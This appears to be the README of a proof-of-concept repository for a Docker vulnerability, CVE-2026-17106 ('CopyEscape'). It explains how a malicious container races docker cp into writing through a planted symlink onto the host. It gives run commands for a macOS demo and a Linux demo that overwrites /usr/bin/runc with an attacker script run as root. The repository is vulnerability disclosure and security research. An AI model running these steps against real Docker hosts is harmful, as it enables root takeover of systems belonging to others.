
PoC repository for the blog post CopyEscape: Taking Over Docker Hosts with docker cp
docker cp (CVE-2026-17106)This is the proof-of-concept repository for the blog post CopyEscape: Taking
Over Docker Hosts with docker cp — CVE-2026-17106.
CopyEscape allows a malicious running container to race Docker's archive
producer and create an inconsistent tar stream. The vulnerable Docker CLI can
then follow a planted symlink during extraction and write outside the local
destination selected by the user running docker cp.
The repository contains two demonstrations:
macos/ contains a non-destructive Docker Desktop demonstration
that creates ~/pwnd on the macOS host.linux/ contains the original high-impact Linux demonstration that
overwrites /usr/bin/runc and creates /imperva_red_team when the replaced
runtime is executed.[!WARNING] Run these PoCs only on systems you own or are explicitly authorized to test. The Linux PoC intentionally replaces
/usr/bin/runc; use a disposable VM and make a verified backup before triggering it.
/usr/bin/runc demonstration.The PoCs were developed and tested against Docker Engine/CLI 29.6.1 and Docker Desktop 4.81.0. Fixed versions should reject the malicious archive or complete the copy without writing outside the selected destination.
~/pwndThis demonstration targets the home directory of the user running the Docker
CLI. It refuses to continue if either ~/pwnd or the local file.txt
destination already exists.
Run:
cd macos
./demo-macos.sh
The runner builds the image, starts the prepared container, confirms that
/watched/file.txt appears to be a normal file inside it, and triggers:
docker cp <demo-container>:/watched/file.txt ./file.txt
On a vulnerable Docker Desktop version, the copy creates:
~/pwnd
with the following contents:
COPYESCAPE_MACOS_DEMO
Cleanup:
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local
/usr/bin/runc[!CAUTION] This demonstration temporarily makes the Docker host's runtime unusable and executes an attacker-controlled replacement as root. Use a disposable VM. After
docker cpreturns, restoreruncbefore running another Docker command.
Open a root shell and enter the Linux PoC directory:
sudo -s
cd linux
Create and verify a backup before starting the test:
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup
Build the image:
docker build -t copyescape-linux .
Start the prepared container in the first terminal:
docker run --name copyescape-linux copyescape-linux
In a second root terminal, confirm that the prepared path looks like a regular file to a process inside the container:
docker exec copyescape-linux cat /watched/file.txt
Expected output:
top-level file
Trigger the vulnerability:
docker cp copyescape-linux:/watched/file.txt ./file.txt
On a vulnerable Docker version, /usr/bin/runc now contains the PoC shell
script. Execution of the replaced runtime creates the root-owned marker:
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team
Restore the original runtime immediately, before issuing another Docker command:
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version
After runc has been restored and verified, remove the remaining test
artifacts:
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team
Both PoCs expose /watched/file.txt as a normal file to processes running in
the container while the Docker daemon sees an underlying directory. During
Docker's filesystem walk, the monitor replaces a directory with a staged
absolute symlink. The resulting tar stream contains the symlink followed by a
child entry beneath it. A vulnerable Docker CLI creates the symlink and then
extracts the child through it onto the client filesystem.
The final write carries the permissions of the process running docker cp.